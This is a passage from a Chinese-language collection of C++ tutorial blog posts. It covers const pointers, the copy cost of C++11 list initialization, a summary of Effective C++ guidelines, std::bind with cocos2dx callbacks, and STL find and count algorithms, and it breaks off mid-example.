如果我说这么形象你还记不住，那么……记得常喝六个核桃！


二、三个孩子还有故事


简单说说这仨倒霉孩子。


1.孩子们的指向到底有没有问题？


指向const类型的指针，也就是p1和p2，一般是用来指向const类型的对象的。这本无可厚非。但是，他们可不可以指向非const类型的对象呢？


答案是：可以滴！


不过，我们仍然不能通过这类指针去改变他们所指向的对象的值。为什么呢？原因就是p1和p2这哥俩天生就有缺陷。只要让他们指向了，看谁都是const类型的对象！可悲吗？


所以夫妻生活一定要幸福，不然生下来的小孩都不健康哦～


那么，大家很快会想到p3了。const类型的指针呢？const类型的指针可以指向非const类型的对象，但是它坚决不会去指向const类型的对象。因为，它知道，它是要改变对方的，如果对方不向它敞开心扉，它干脆放弃。


顺便说一句，void*指针不能用来指向const类型对象，必须用const void*。


2.偶尔有别的东西出来客串，再脑残也是要交朋友的！


再来看看这个code：


typedef int *intPoint;
const intPoint p5;



那么p5到底是“const类型的指针”还是“指向const类型的指针”？


大家一定会说p5是“指向const类型的指针”。嗯，但是错了！哈哈！其实人家p5是“const类型的指针”呢～


为什么呢？估计大家是内联的展开了intPoint。其实也没错。但是不管怎样，intPoint始终是个指针，那么const修饰指针，那当然是“const类型的指针”啦！


三、还有一个私生子，嘘～能不说就不说吧！


看下面的code：


int d = 4;
const int* const p4 = &d;



这种指针很少露面。一般都隐匿起来。为什么呢？因为这个是“指向const类型的const指针”。这类指针，一旦初始化之后，既不能通过它改变指向类型的值，也不能指向别的指针。所以基本上就是个废物，出场率不高。


想想吧，同时娶两个老婆(const)，在新中国已经不允许了！虽然很多男人都想这样……


四、当const为函数打工，小秘和老板之间总有无限引人遐想的故事


一个类里的成员函数，它不想改变类里的任何成员变量。但是它自己没有这个自制力，所以想找人来管管。于是乎，它找到了const。看这一段code，这是一个定义在类Sales_item外面的成员函数，摘自《C++ Primer》第四版：


double Sales_item::avg_price() const 
{ if (units_sold) 
     return revenue/units_sold; 
  else 
     return 0; 
 } 



avg_price()没有改变任何的成员变量，事实上，它想改也改不了。一切都在const的严格控制当中。const的限定非常严格，我猜它是处女座的！


当然，我们只有const成员函数。如果不在类里，就没有const函数。你可以把在类里的函数想象成在体制内的部门。这种部门总是约束这约束那，所以得有const。但是体制外的，社会闲杂人等，不需要什么约束。


五、结束语


说了这么多，有可能有遗漏的。毕竟关于const，总是有说不完的话题。但是基本万变不离其中吧。运用基本知识，解决复杂问题。如果以后真有什么我觉得可以补充的，再开博客再详谈吧。


真佩服那些有毅力的人，能从头看到这里。


 慎用容器的 List Initializing 

作者：pezy

来源： 慎用容器的 List Initializing 



                    
C++11 中引进了一种叫 List Initializing 的技术，C++ Primer 5th 的 3.3.1. Defining and Initializing vectors 中非常肤浅的介绍了一下它的形式：


cppvector<string> articles = {"a", "an", "the"}; // or
vector<string> articles{"a", "an", "the"};



书中颇为推崇这样的初始化方式，且形式上更加贴近 C 语言中 array 的初始化过程，很是亲民。




但我们简单做个实验，来说明这种形式在效率上可能存在的问题：


cpp#include <iostream>
#include <vector>

struct X {
    X() { std::cout << "X()" << std::endl; }
    X(const X&) { std::cout << "X(const X&)" << std::endl; } // copy constructor
    ~X() { std::cout << "~X()" << std::endl; }
}

int main()
{
    X x;
    std::vector<X> vec{x, x};
}



猜猜看，这段程序的输出是什么？


X()
X(const X&)
X(const X&)
X(const X&)
X(const X&)
~X()
~X()
~X()
~X()
~X()



看看有没有猜对呢？


有没有人好奇，为什么 copy constructor 被调用了四次？ 我们希望它被调用多少次呢？很显然，是两次。


我们对 main 函数稍作修改：


cppint main()
{
    X x;
    std::vector<X> vec;
    vec.reserve(2);
    vec.push_back(x);
    vec.push_back(x);
}



然后查看本次输出：


X()
X(const X&)
X(const X&)
~X()
~X()
~X()



的确变成了我们希望的两次。如果有兴趣的话，可以将 reserve 那句话给注释掉试试，会发现调用次数变成了3次，但那不属于咱们本次探讨的范畴，如果有疑问可以留言讨论。


第二次虽然多写了几行，但貌似极大程度上的避免了 copy constructor 的频繁调用，想象一下若初始化列表里躺着一大堆 x 会有什么下场。




揭秘


copy constructor 的调用次数为何会翻倍？


因为 List Initializing 本质上是先基于列表中的元素，构造出一个 initializer_list, 这个类型也是 c++11 引入的，可以看看详细定义。


然后，再将构造出来的 initializer_list 中的元素逐一 copy 至容器中。


故：


cppstd::vector<X> vec{x, x};



相当于：


cppstd::initializer_list<X> list = {x, x};  // copy 2 times
std::vector<X> vec(list); // copy 2 times



真相大白。




结论


对于非 built-in 对象来说， 使用 List Initializing 付出的代价，在某些情况下不容忽视。

过去陈旧的写法，反而让人更加踏实。


 《Effective C++》

作者：mikey219

来源： 《Effective C++》



                    

	
尽量用const和inline而不用#define


尽量用编译器而不用预处理。



	
尽量用而不用<stdio.h>


scanf和printf很有用，但不是类型安全的，而且没有扩展性。

on the other hand，①有些iostream的操作实现起来要比相应的C stream效率要低，但不是对所有的iostream而言，而是一些特殊的实现；②在标准化的过程中，iostream库在底层做了很多修改，所以对那些要求最大可移植性的应用程序来说，会发现不同的厂商遵循标准的程度也不同；③iostream库的类有构造函数而<stdio.h>里的函数没有，在某些涉及到静态对象初始化顺序的时候，如果可以确认不会带来隐患，用标准C库更加简单实用。



	
尽量用new和delete而不用malloc和free


malloc和free（及其变体）产生问题的原因是因为它们太简单：它们不知道构造函数和析构函数。



	尽量使用C++风格的注释


	
对应的new和delete要采用相同的形式


用new的时候会发生两件事：首先，内存会被分配，然后，为分配的内存调用一个或多个构造函数；用delete的时候，也有两件事发生，首先，为将被释放的内存调用一个或多个析构函数，然后释放内存。对于delete来说有这样一个重要的问题：内存中有多少个对象要被删除？答案决定了有多少个析构函数将被调用。

这个问题简单说来就是，要被删除的指针指向的是单个对象呢，还是对象数组？这只有你来告诉delete。如果你在delete时没有用括号，delete就会认为指向的是单个对象；否则，它就会认为指向的是一个数组：

string *stringPtr1 = new string;

string *stringPtr2 = new string[100];

……

delete stringPtr1;

delete[] stringPtr2;

如果在stringPtr1前加了[]和stringPtr2前没有加[],结果都是不可预测的。解决这类问题的规则：如果你调用new时用了[]，那么调用delete时也要用[],如果调用new时没有用[],那么调用delete时也不要用[].



	
析构函数里对指针成员调用delete


如果在析构函数里没有删除指针，它不会表现出很明显的外部症状。相反，它可能只是表现为一点微小的内存泄露，并且不断增长，最后吞噬了你的内存空间，导致程序夭折。

删除空指针是安全的（因为它什么也没做）。

当然对本条款的使用也不要绝对，比如，你不会用delete去删除一个没有用new来初始化的指针，而且，就像用智能指针对象时不用劳你来删除一样，你也永远不会去删除一个传递给你的指针。换句话说，除非类成员最初用了new，否则是不用在析构函数里用delete的。



	预先准备好内存不够的情况


	
写operator new和operator delete时要遵循常规


要有正确的返回值；可用内存不够时要调用出错处理函数；处理好0字节内存请求的情况；还要避免不小心隐藏了标准形式的new。

处理零字节请求的技巧在于把它作为请求一个字节来处理。



	
避免隐藏标准形式的new


在类里定义了一个称为“operator new”的函数后，会不经意地阻止了对标准new 的访问。条款50 解释了为什么会这样，这里我们更关心的是如何想个办法避免这个问题。一个办法是在类里写一个支持标准 new 调用方式的operator new，它和标准new 做同样的事。这可以用一个高效的内联函数来封装实现。另一种方法是为每一个增加到 operator new 的参数提供缺省值(见条款24)。



	
如果写了operator new就要同时写operator delete


为什么有必要写自己的operator new和operator delete？为了效率。缺省的operator new和operator delete具有非常好的通用性，它的这种灵活性也使得在某种特定的场合下，可以进一步改善它的性能。尤其在那些需要动态的分配大量的但很小的对象的应用程序里，情况更是如此。

如果写了一个自己的内存分配程序，就要同时写一个释放程序。



	
为需要动态分配内存的类声明一个拷贝构造函数和一个赋值操作符


用delete去删除一个已经被删除的指针，其结果是不可预测的。

只要类里有指针时，就要写自己版本的拷贝构造函数和赋值操作符函数。在这些函数里，你可以拷贝那些被指向的数据结构，从而使每个对象都有自己的拷贝；或者你可以采用某种引用计数机制（见条款 M29）去跟踪当前有多少个对象指向某个数据结构。

对于有些类，当实现拷贝构造函数和赋值操作符非常麻烦的时候，特别是可以确信程序中不会做拷贝和赋值操作的时候，去实现它们就会相对来说有点得不偿失。照本条款的建议去做：可以只声明这些函数（声明为private 成员）而不去定义（实现）它们。这就防止了会有人去调用它们，也防止了编译器去生成它们。关于这个俏皮的小技巧的细节，参见条款27。



	
尽量使用初始化而不要在构造函数里赋值


从纯实际应用的角度来看，有些情况下必须用初始化。特别是 const 和引用数据成员只能用初始化，不能被赋值。

对有基类的对象来说，基类的成员初始化和构造函数体的执行发生在派生类的成员初始化和构造函数体的执行之前。

通过成员初始化列表来进行初始化总是合法的，效率也绝不低于在构造函数体里赋值，它只会更高效。另外，它简化了对类的维护（见条款M32），因为如果一个数据成员以后被修改成了必须使用成员初始化列表的某种数据类型，那么，什么都不用改变。



	
初始化列表中成员列出的顺序和它们在类中声明的顺序相同


类成员是按照它们在类里被声明的顺序进行初始化的，和它们在成员初始化列表中列出的顺序没一点关系。



	
确定基类有虚析构函数


当通过基类的指针去删除派生类的对象，而基类又没有虚析构函数时，结果将是不可确定的。

虚函数的目的是让派生类去定制自己的行为（见条款36），所以几乎所有的基类都包含虚函数。如果某个类不包含虚函数，那一般是表示它将不作为一个基类来使用。当一个类不准备作为基类使用时，使析构函数为虚一般是个坏主意。

实现虚函数需要对象附带一些额外信息，以使对象在运行时可以确定该调用哪个虚函数。对大多数编译器来说，这个额外信息的具体形式是一个称为vptr（虚函数表指针）的指针。vptr 指向的是一个称为vtbl（虚函数表）的函数指针数组。每个有虚函数的类都附带有一个vtbl。当对一个对象的某个虚函数进行请求调用时，实际被调用的函数是根据指向vtbl 的vptr 在vtbl 里找到相应的函数指针来确定的。

如果声明虚析构函数为inline，将会避免调用它们时产生的开销，但编译器还是必然会在什么地方产生一个此函数的拷贝。



	
让operator=返回*this的引用


C++程序员经常犯的一个错误是让operator=返回void，这好象没什么不合理的，但它妨碍了连续（链式）赋值操作，所以不要这样做。

另一个常犯的错误是让 operator=返回一个const 对象的引用。

当定义自己的赋值运算符时，必须返回赋值运算符左边参数的引用，*this。如果不这样做，就会导致不能连续赋值，或导致调用时的隐式类型转换不能进行，或两种情况同时发生。



	
在operator=中对所有数据成员赋值


只要想对赋值过程的某一个部分进行控制，就必须负责做赋值过程中所有的事。

派生类的赋值运算符也必须处理它的基类成员的赋值。



	
在operator=中检查给自己赋值的情况


在赋值运算符中要特别注意可能出现别名的情况，其理由基于两点。其中之一是效率。如果可以在赋值运算符函数体的首部检测到是给自己赋值，就可以立即返回，从而可以节省大量的工作，否则必须去实现整个赋值操作。另一个更重要的原因是保证正确性。一个赋值运算符必须首先释放掉一个对象的资源（去掉旧值），然后根据新值分配新的资源。在自己给自己赋值的情况下，释放旧的资源将是灾难性的，因为在分配新的资源时会需要旧的资源。



	
争取使类的接口完整并且最小


概括起来就是说，无端地在接口里增加函数不是没有代价的，所以在增加一个新函数时要仔细考虑：它所带来的方便性（只有在接口完整的前提下才应该考虑增加一个新函数以提供方便性）是否超过它所带来的额外代价，如复杂性，可读性，可维护性和编译时间等。



	
分清成员函数、非成员函数和友元函数


成员函数和非成员函数最大的区别在于成员函数可以是虚拟的而非成员函数不行。所以，如果有个函数必须进行动态绑定（见条款38），就要采用虚拟函数，而虚拟函数必定是某个类的成员函数。

explicit 构造函数不能用于隐式转换。

假设 f 是想正确声明的函数，C 是和它相关的类：虚函数必须是成员函数。如果 f 必须是虚函数，就让它成为C 的成员函数。operator>>和operator<<绝不能是成员函数。如果f 是operator>>或operator<<，让f 成为非成员函数。如果f 还需要访问C 的非公有成员，让f 成为C 的友元函数。只有非成员函数对最左边的参数进行类型转换。如果 f 需要对最左边的参数进行类型转换，让f 成为非成员函数。如果f 还需要访问C 的非公有成员，让f 成为C 的友元函数。其它情况下都声明为成员函数。如果以上情况都不是，让 f 成为C 的成员函数。



	
避免public接口出现数据成员


在public 接口里放上数据成员无异于自找麻烦，所以要把数据成员安全地隐藏在与功能分离的高墙后。



	
尽可能使用const


char p = "Hello"; // 非const 指针,非const 数据

const char *p = "Hello"; // 非const 指针, const 数据

char * const p = "Hello"; // const 指针,非const 数据

const char * const p = "Hello"; // const 指针,const 数据

语法并非看起来那么变化多端。一般来说，你可以在头脑里画一条垂直线穿过指针声明中的星号（）位置，如果const 出现在线的左边，指针指向的数据为常量；如果const 出现在线的右边，指针本身为常量；如果const 在线的两边都出现，二者都是常量。

一个好的用户自定义类型的特征是，它会避免那种没道理的与固定类型不兼容的行为。



	
尽量用传引用而不用传值


C 语言中，什么都是通过传值来实现的，C++继承了这一传统并将它作为默认方式。除非明确指定，函数的形参总是通过“实参的拷贝”来初始化的，函数的调用者得到的也是函数返回值的拷贝。

传递引用是个很好的做法，但它会导致自身的复杂性，最大的一个问题就是别名问题，这在条款17 进行了讨论。另外，更重要的是，有时不能用引用来传递对象，参见条款23。最后要说的是，引用几乎都是通过指针来实现的，所以通过引用传递对象实际上是传递指针。因此，如果是一个很小的对象——例如int— — 传值实际上会比传引用更高效。



	
必须返回一个对象时不要试图返回一个引用


引用只是一个名字，一个其它某个已经存在的对象的名字。无论何时看到一个引用的声明，就要立即问自己：它的另一个名字是什么呢？因为它必然还有另外一个什么名字（见条款M1）。



	
在函数重载和设定参数缺省值间慎重选择


答案取决于另外两个问题。第一，确实有那么一个值可以作为缺省吗？第二，要用到多少种算法？一般来说，如果可以选择一个合适的缺省值并且只是用到一种算法，就使用缺省参数（参见条款38）。否则，就使用函数重载。



	避免对指针和数字类型重载


	
当心潜在的二义性


C++认为潜在的二义性不是一种错误。多继承（见条款43）充满了潜在二义性的可能。最常发生的一种情况是当一个派生类从多个基类继承了相同的成员名时。



	
如果不想使用隐式生成的函数就要显式的禁止它


方法是声明这个函数（operator=），并使之为private。显式地声明一个成员函数，就防止了编译器去自动生成它的版本；使函数为private，就防止了别人去调用它。

但是，这个方法还不是很安全，成员函数和友元函数还是可以调用私有函数，除非——如果你够聪明的话——不去定义（实现）这个函数。这样，当无意间调用了这个函数时，程序在链接时就会报错。

这适用于条款45 所介绍的每一个编译器自动生成的函数。实际应用中，你会发现赋值和拷贝构造函数具有行为上的相似性（见条款11 和16），这意味着几乎任何时候当你想禁止它们其中的一个时，就也要禁止另外一个。



	
划分全局名字空间


名字空间带来的最大的好处之一在于：潜在的二义不会造成错误（参见条款26）。所以，从多个不同的名字空间引入同一个符号名不会造成冲突（假如确实真的从不使用这个符号的话）。



	
避免返回内部数据的句柄


对于 const 成员函数来说，返回句柄是不明智的，因为它会破坏数据抽象。对于非const 成员函数来说，返回句柄会带来麻烦，特别是涉及到临时对象时。句柄就象指针一样，可以是悬浮（dangle）的。所以一定要象避免悬浮的指针那样，尽量避免悬浮的句柄。



	避免这样的成员函数：其返回值是指向成员的非const 指针或引用，但成员的访问级比这个函数要低


	
千万不要返回局部对象的引用，也不要返回函数内部用new 初始化的指针的引用


先看第一种情况：返回一个局部对象的引用。它的问题在于，局部对象 ----- 顾名思义 ---- 仅仅是局部的。也就是说，局部对象是在被定义时创建，在离开生命空间时被销毁的。所谓生命空间，是指它们所在的函数体。当函数返回时，程序的控制离开了这个空间，所以函数内部所有的局部对象被自动销毁。因此，如果返回局部对象的引用，那个局部对象其实已经在函数调用者使用它之前被销毁了。当想提高程序的效率而使函数的结果通过引用而不是值返回时，这个问题就会出现。

写一个返回废弃指针的函数无异于坐等内存泄漏的来临。



	
尽可能的推迟变量的定义


推迟变量定义可以提高程序的效率，增强程序的条理性，还可以减少对变量含义的注释。



	
明智的使用内联


在一台内存有限的计算机里，过分地使用内联所产生的程序会因为有太大的体积而导致可用空间不够。即使可以使用虚拟内存，内联造成的代码膨胀也可能会导致不合理的页面调度行为（系统颠簸），这将使你的程序运行慢得象在爬。过多的内联还会降低指令高速缓存的命中率，从而使取指令的速度降低，因为从主存取指令当然比从缓存要慢。

另一方面，如果内联函数体非常短，编译器为这个函数体生成的代码就会真的比为函数调用生成的代码要小许多。如果是这种情况，内联这个函数将会确实带来更小的目标代码和更高的缓存命中率！

一个给定的内联函数是否真的被内联取决于所用的编译器的具体实现。幸运的是，大多数编译器都可以设置诊断级，当声明为内联的函数实际上没有被内联时，编译器就会为你发出警告信息。



	
将文件间的编译依赖性降到最低


C++的类定义中不仅包含接口规范，还有不少实现细节。

如果可以使用对象的引用和指针，就要避免使用对象本身。定义某个类型的引用和指针只会涉及到这个类型的声明。定义此类型的对象则需要类型定义的参与。

尽可能使用类的声明，而不使用类的定义。因为在声明一个函数时，如果用到某个类，是绝对不需要这个类的定义的，即使函数是通过传值来传递和返回这个类。

不要在头文件中再（通过#include 指令）包含其它头文件，除非缺少了它们就不能编译。相反，要一个一个地声明所需要的类，让使用这个头文件的用户自己（通过#include 指令）去包含其它的头文件，以使用户代码最终得以通过编译。



	
使公有继承体现“是一个”的含义


C++面向对象编程中一条重要的规则是：公有继承意味着 "是一个" 。



	
区分接口继承和实现继承


纯虚函数最显著的特征是：它们必须在继承了它们的任何具体类中重新声明，而且它们在抽象类中往往没有定义。

定义纯虚函数的目的在于，使派生类仅仅只是继承函数的接口。声明简单虚函数的目的在于，使派生类继承函数的接口和缺省实现。声明非虚函数的目的在于，使派生类继承函数的接口和强制性实现。



	
绝不要重新定义继承而来的非虚函数


如果写类 D 时重新定义了从类B 继承而来的非虚函数mf，D 的对象就可能表现出精神分裂症般的异常行为。也就是说，D 的对象在mf 被调用时，行为有可能象B，也有可能象D，决定因素和对象本身没有一点关系，而是取决于指向它的指针所声明的类型。引用也会和指针一样表现出这样的异常行为。

任何条件下都要禁止重新定义继承而来的非虚函数。





38.绝不要重新定义继承而来的缺省参数值


虚函数是动态绑定而缺省参数值是静态绑定的。这意味着你最终可能调用的是一个定义在派生类，但使用了基类中的缺省参数值的虚函数。
如果缺省参数值被动态绑定，编译器就必须想办法为虚函数在运行时确定合适的缺省值，这将比现在采用的在编译阶段确定缺省值的机制更慢更复杂。做出这种选择是想求得速度上的提高和实现上的简便，所以大家现在才能感受得到程序运行的高效；当然，如果忽视了本条款的建议，就会带来混乱。



39.避免“向下转换”继承层次


这种类型的转换 ---- 从一个基类指针到一个派生类指针 ---- 被称为 "向下转换"，因为它向下转换了继承的层次结构。在刚看到的例子中，向下转换碰巧可以工作；但正如下面即将看到的，它将给今后的维护人员带来恶梦。
"向下转换" 可以通过几种方法来消除。最好的方法是将这种转换用虚函数调用来代替，同时，它可能对有些类不适用，所以要使这些类的每个虚函数成为一个空操作。第二个方法是加强类型约束，使得指针的声明类型和你所知道的真的指针类型之间没有出入。为了消除向下转换，无论费多大工夫都是值得的，因为向下转换难看、容易导致错误，而且使得代码难于理解、升级和维护（参见条款M32）。



40.通过分层来体现“有一个”或“用···来实现”


使某个类的对象成为另一个类的数据成员，从而实现将一个类构筑在另一个类之上，这一过程称为 "分层"(Layering)。"分层" 这一术语有很多同义词，它也常被称为：构成(composition)，包含(containment)或嵌入(embedding)。条款35 解释了公有继承的含义是 "是一个"。对应地，分层的含义是 "有一个" 或 "用...来实现"。
当通过分层使两个类产生联系时，实际上在两个类之间建立了编译时的依赖关系。



41.区分继承和模板


模板类的特点：行为不依赖于类型。
当对象的类型不影响类中函数的行为时，就要使用模板来生成这样一组类。当对象的类型影响类中函数的行为时，就要使用继承来得到这样一组类。



42.明智的使用私有继承


这为我们引出了私有继承的含义：私有继承意味着 "用...来实现"。如果使类D 私有继承于类B，这样做是因为你想利用类B 中已经存在的某些代码，而不是因为类型B 的对象和类型D 的对象之间有什么概念上的关系。因而，私有继承纯粹是一种实现技术。
私有继承意味着 "用...来实现" 这一事实会给程序员带来一点混淆，因为条款40 指出，"分层" 也具有相同的含义。怎么在二者之间进行选择呢？答案很简单：尽可能地使用分层，必须时才使用私有继承。



43.明智的使用多继承


44.说你想说的；理解你所说的


45.弄清C++在幕后为你所写、所调用的函数


至于拷贝构造函数和赋值运算符，官方的规则是：缺省拷贝构造函数（赋值运算符）对类的非静态数据成员进行 "以成员为单位的" 逐一拷贝构造（赋值）。即，如果m 是类C 中类型为T 的非静态数据成员，并且C 没有声明拷贝构造函数（赋值运算符），m 将会通过类型T 的拷贝构造函数（赋值运算符）被拷贝构造（赋值）---- 如果T 有拷贝构造函数（赋值运算符）的话。如果没有，规则递归应用到m 的数据成员，直至找到一个拷贝构造函数（赋值运算符）或固定类型（例如，int，double，指针，等）为止。默认情况下，固定类型的对象拷贝构造（赋值）时是从源对象到目标对象的 "逐位" 拷贝。对于从别的类继承而来的类来说，这条规则适用于继承层次结构中的每一层，所以，用户自定义的构造函数和赋值运算符无论在哪一层被声明，都会被调用。



46.宁可编译和链接时出错，也不要运行时出错


将检查从运行时转移到编译或链接时一直是值得努力的目标，只要实际可行，就要追求这一目标。这样做的奖赏是，程序会更小，更快，更可靠。



47.确保非局部静态对象在使用前被初始化


非局部静态对象指的是这样的对象：



定义在全局或名字空间范围内（例如：theFileSystem 和tempDir），

在一个类中被声明为static，或，

在一个文件范围被定义为static。

    对于不同被编译单元中的非局部静态对象，你一定不希望自己的程序行为依赖于它们的初始化顺序，因为你无法控制这种顺序。让我再重复一遍：你绝对无法控制不同被编译单元中非局部静态对象的初始化顺序。

    很自然地想知道，为什么无法控制？

    这是因为，确定非局部静态对象初始化的 " 正确" 顺序很困难，非常困难，极其困难。即使在它最普通的形式下 ---- 多个被编译单元，多个通过隐式模板实例化所生成的非局部静态对象（隐式模板实例化时，它们本身可能都会产生这样的问题） ---- 不仅不可能确定正确的初始化顺序，往往连找一个可以确定正确顺序的特殊情况都不值得。


48.重视编译器警告


49.熟悉标准库


标准库提供了下列高效的实现：vector（就象动态可扩充的数组），list（双链表），queue， stack，deque，map，set和bitset。唉，竟然没有hash table（虽然很多制造商作为扩充提供），但多少可以作为补偿的一点是， string 是容器。这很重要，因为它意味着对容器所做的任何操作（见下文）对string 也适用。



50.提高对C++的认识


 C++11中的std::bind

作者：山河永寂

来源： C++11中的std::bind



                    
最近在看看cocos2dx的源代码，发现了cocos2dx 3.0相对于2.0改动了很多，最大的改变就是大量的使用了C++11的特性，比如auto等。其中有一个关于回调函数绑定的宏定义就使用了std::bind特性

// new callbacks based on C++11
#define CC_CALLBACK_0(__selector__,__target__, ...) std::bind(&__selector__,__target__, ##__VA_ARGS__)
#define CC_CALLBACK_1(__selector__,__target__, ...) std::bind(&__selector__,__target__, std::placeholders::_1, ##__VA_ARGS__)
#define CC_CALLBACK_2(__selector__,__target__, ...) std::bind(&__selector__,__target__, std::placeholders::_1, std::placeholders::_2, ##__VA_ARGS__)
#define CC_CALLBACK_3(__selector__,__target__, ...) std::bind(&__selector__,__target__, std::placeholders::_1, std::placeholders::_2, std::placeholders::_3, ##__VA_ARGS__)

非常简练的宏定义，对于没有接触过C++11的朋友来说，真的是一头雾水，这货是什么，真的是C++吗？所以笔者就写了这篇文章来讲解。

C++发展的历史

C++经过多年发展，真正正式公布出的标准只有三个C++98,C++03,C++11。其中C++03只是C++98的小幅度修订，在笔者看来，C++发展的历史，就是一个不断吸收新特性的历史。从最早的面向过程，面向对象，模板编程，到现在的函数式编程，C++一直都是在吸收新特性。lambda就是函数式编程闭包的特性。

何为bind

bind是这样一种机制，它可以预先把指定可调用实体的某些参数绑定到已有的变量，产生一个新的可调 用实体，这种机制在回调函数的使用过程中也颇为有用。其实最早在C++98的时候，就已经有了std::bind1st和std::bind2nd分别用来绑定functor的两个参数，具体代码就不演示了，查查资料就知道了。这个特性在当时并没有引起太多的重视，可以说是食之无味。
C++11中提供了std::bind，可以说是一种飞跃的提升，bind本身是一种延迟计算的思想，它本身可以绑定普通函数、全局函数、静态函数、类静态函数甚至是类成员函数。

#include <iostream>
#include <functional>
using namespace std;

int TestFunc(int a, char c, float f)
{
    cout << a << endl;
    cout << c << endl;
    cout << f << endl;

    return a;
}

int main()
{
    auto bindFunc1 = bind(TestFunc, std::placeholders::_1, 'A', 100.1);
    bindFunc1(10);

    cout << "=================================\n";

    auto bindFunc2 = bind(TestFunc, std::placeholders::_2, std::placeholders::_1, 100.1);
    bindFunc2('B', 10);

    cout << "=================================\n";

    auto bindFunc3 = bind(TestFunc, std::placeholders::_2, std::placeholders::_3, std::placeholders::_1);
    bindFunc3(100.1, 30, 'C');

    return 0;
}

从上面的代码可以看到，bind能够在绑定时候就同时绑定一部分参数，未提供的参数则使用占位符表示，然后在运行时传入实际的参数值。

PS：绑定的参数将会以值传递的方式传递给具体函数，占位符将会以引用传递。

众所周知，静态成员函数其实可以看做是全局函数，而非静态成员函数则需要传递this指针作为第一个参数，所以std::bind能很容易地绑定成员函数。
cocos2dx中的CC_CALLBACK系列的宏其实就是一种封装好的std::bind，它默认认为绑定的就是成员函数，帮助开发者简化了代码。

总结

bind最终将会生成一个可调用对象，这个对象可以直接赋值给std::function对象，而std::bind绑定的可调用对象可以是Lambda表达式或者类成员函数等可调用对象，这个是cocos2dx中的一般用法。它能随意绑定任何函数，将所有的函数都能统一到std::function


 非变易算法 - STL之算法

作者：Sintune

来源： 非变易算法 - STL之算法



                    
摘要：C++ STL标准模板库在数据结构和算法的实践领域发挥着重要作用，极大的提高了开发效率。STL的三大组成部分为容器、迭代器、算法，本文主要讲解STL算法中的非变易算法。本文从实践的角度简单介绍了一下相关函数的使用。

引言

C++ STL的非变易算法（Non-mutating algorithms）是一组不破坏函数数据的模板函数，用来对序列数据进行逐个处理、元素查找、子序列搜索、统计和匹配，基本上可用于各种容器。下面的叙述中迭代器区间默认为[first, last)，迭代器具有“++”迭代和“*”访问操作。

逐个处理算法

for_each函数

该函数对迭代器区间的每个元素，执行单参数函数对象定义的操作。

下面的实例程序，将打印容器vector中的每个元素。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
void print(int x) {
    cout << x << " ";
}
int main(void) {
    vector<int> v;
    for(int i = 0; i < 10; i++) {
        v.push_back(i * 2);
    }
    for_each(v.begin(), v.end(), print);
    return 0;
}

结果输出为：

0 2 4 6 8 10 12 14 16 18

元素查找算法

find函数

该函数用于查找等于某值的元素。如果迭代器i所指的元素满足*i == value，则返回迭代器i。未找到满足条件的元素，返回last。只要找到第一个满足条件的元素就返回迭代器位置，不再继续查找。

下面的示例程序查找容器vector中，第一个值为6的元素，打印元素位置及其前一元素。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v;
    for(int i = 0; i < 10; i++) {
        v.push_back(i * 2);
    }
    vector<int>::iterator iv = find(v.begin(), v.end(), 6);
    if(iv == v.end()) {
        cout << "Find nothing." << endl;
    } else {
        cout << "The postion of " << *iv << " is " << iv - v.begin() << endl;
        cout << "The previous element of it is " << *(--iv) << endl;
    }
    return 0;
}

结果输出为：

The postion of 6 is 3
The previous element of it is 4

find_if函数

该函数是find的一个谓词判断版本，查找满足谓词判断函数的元素。

下面的实例程序将寻找容器vector中第一个能被3整除的元素。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int divBy3(int x) {
    return x % 3 ? 0 : 1;
}
int main(void) {
    vector<int> v;
    for(int i = 1; i < 10; i++) {
        v.push_back(i * 2);
    }
    vector<int>::iterator iv = find_if(v.begin(), v.end(), divBy3);
    if(iv == v.end()) {
        cout << "None could be divided by 3 with no remaineder." << endl;
    } else {
        cout << *iv << " could be divided by 3 with no remainder." << endl;
    }
    return 0;
}

结果输出为：

6 could be divided by 3 with no remainder.

adjacent_find函数

该函数用于查找相等或满足条件的邻近元素对。它有两个使用原型，一个用于查找相等的两个连续元素，另一个使用二元谓词判断，查找满足条件的邻近元素对。

下面的实例程序用于寻找容器中相等的元素和奇偶性相同的元素。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int parity_equal(int x, int y) {
    return (x - y) % 2 == 0 ? 1 : 0;
}
int main(void) {
    vector<int> v;
    v.push_back(1);
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    v.push_back(5);
    v.push_back(7);
    vector<int>::iterator iv = adjacent_find(v.begin(), v.end());
    if(iv != v.end()) {
        cout << "There are two equal elements." << endl;
        cout << "It is " << *iv << endl;
    }
    iv = adjacent_find(v.begin(), v.end(), parity_equal);
    if(iv != v.end()) {
        cout << "There are two parity euqal elements." << endl;
        cout << "They are " << *iv << " and ";
        iv++;
        cout << *iv << endl;
    }
    return 0;
}

输出结果为：

There are two equal elements.
It is 5
There are two parity euqal elements.
They are 3 and 5

find_first_of函数

该函数用于查找某个范围之内的元素。它有两个使用原型，一个是相等，另一个是二元谓词判断。元素找到则返回迭代器，否则返回末位置。

下面的实例程序用于计算容器v2中元素在容器v中重合出现的首位置。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v;
    v.push_back(1);
    v.push_back(2);
    v.push_back(2);
    v.push_back(3);
    v.push_back(5);
    v.push_back(5);
    v.push_back(7);
    vector<int> v2;
    v2.push_back(3);
    v2.push_back(3);
    v2.push_back(5);
    vector<int>::iterator iv = find_first_of(v.begin(), v.end(), v2.begin(), v2.end());
    cout << "The position of the first equal element is " << iv - v.begin() << endl;
    return 0;
}

输出结果为：

The position of the first equal element is 3

元素统计算法

count函数

该函数用于计算容器中某个给定值的出现次数。它有两个使用原型，区别在于计数是直接返回还是引用返回。

下面的实例程序计算了容器中5的出现次数，结果直接返回。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int main(void) {
    vector<int> v;
    for(int i = 0; i < 17; i++) {
        v.push_back(i % 6);
    }
    int num = count(v.begin(), v.end(), 5);
    cout << "The number of 5 is " << num << endl;
    return 0;
}

输出结果为：

The number of 5 is 2

count_if函数

该函数使用谓词判断函数，统计迭代器区间上满足条件的元素个数。它有两个使用原型，区别在与计数是直接返回还是引用返回。

下面的实例程序统计了容器中大于10的数字的出现次数，结果直接返回。

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int greaterThan10(int x) {
    return x > 10 ? 1 : 0;
}
int main(void) {
